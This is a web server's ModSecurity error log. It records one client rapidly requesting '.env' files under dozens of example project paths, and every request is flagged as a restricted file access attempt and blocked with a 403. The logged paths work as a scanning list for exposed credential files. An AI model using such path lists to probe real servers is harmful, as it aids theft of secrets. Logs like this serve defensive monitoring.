[Thu Feb 26 01:03:03.258888 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample01/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy8AAAAAA&quot;]
[Thu Feb 26 01:03:03.286705 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/11-transactions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/11-transactions/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhyAAAAAE&quot;]
[Thu Feb 26 01:03:03.286988 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/11-transactions/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhyAAAAAE&quot;]
[Thu Feb 26 01:03:03.287177 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/11-transactions/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhyAAAAAE&quot;]
[Thu Feb 26 01:03:03.294707 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example27-how-to-load-env/sample02/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample02/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy8QAAAAA&quot;]
[Thu Feb 26 01:03:03.294996 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample02/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy8QAAAAA&quot;]
[Thu Feb 26 01:03:03.295174 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample02/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy8QAAAAA&quot;]
[Thu Feb 26 01:03:03.321179 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy8gAAAAA&quot;]
[Thu Feb 26 01:03:03.321441 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy8gAAAAA&quot;]
[Thu Feb 26 01:03:03.321618 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy8gAAAAA&quot;]
[Thu Feb 26 01:03:03.323510 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/drupal-separate-services/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/drupal-separate-services/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhyQAAAAE&quot;]
[Thu Feb 26 01:03:03.323774 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/drupal-separate-services/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhyQAAAAE&quot;]
[Thu Feb 26 01:03:03.323930 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/drupal-separate-services/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhyQAAAAE&quot;]
[Thu Feb 26 01:03:03.357216 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/react-dashboard/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/react-dashboard/backend/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhygAAAAE&quot;]
[Thu Feb 26 01:03:03.357498 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/react-dashboard/backend/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhygAAAAE&quot;]
[Thu Feb 26 01:03:03.357683 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/react-dashboard/backend/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhygAAAAE&quot;]
[Thu Feb 26 01:03:03.365190 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/01-simple-model/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/01-simple-model/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy8wAAAAA&quot;]
[Thu Feb 26 01:03:03.365461 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/01-simple-model/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy8wAAAAA&quot;]
[Thu Feb 26 01:03:03.365648 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/01-simple-model/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy8wAAAAA&quot;]
[Thu Feb 26 01:03:03.389080 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/sdl-first/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhywAAAAE&quot;]
[Thu Feb 26 01:03:03.389342 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhywAAAAE&quot;]
[Thu Feb 26 01:03:03.389508 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhywAAAAE&quot;]
[Thu Feb 26 01:03:03.410245 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/02-complex-example/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/02-complex-example/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy9AAAAAA&quot;]
[Thu Feb 26 01:03:03.410557 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/02-complex-example/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy9AAAAAA&quot;]
[Thu Feb 26 01:03:03.410750 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/02-complex-example/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy9AAAAAA&quot;]
[Thu Feb 26 01:03:03.418651 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/sdl-first/prisma/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/prisma/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhzAAAAAE&quot;]
[Thu Feb 26 01:03:03.418910 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/prisma/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhzAAAAAE&quot;]
[Thu Feb 26 01:03:03.419075 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/prisma/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhzAAAAAE&quot;]
[Thu Feb 26 01:03:03.446813 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/03-one-to-many-relationship/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/03-one-to-many-relationship/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy9QAAAAA&quot;]
[Thu Feb 26 01:03:03.447066 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/03-one-to-many-relationship/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy9QAAAAA&quot;]
[Thu Feb 26 01:03:03.447237 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/03-one-to-many-relationship/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy9QAAAAA&quot;]
[Thu Feb 26 01:03:03.450633 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/vue-dashboard/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/vue-dashboard/backend/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhzQAAAAE&quot;]
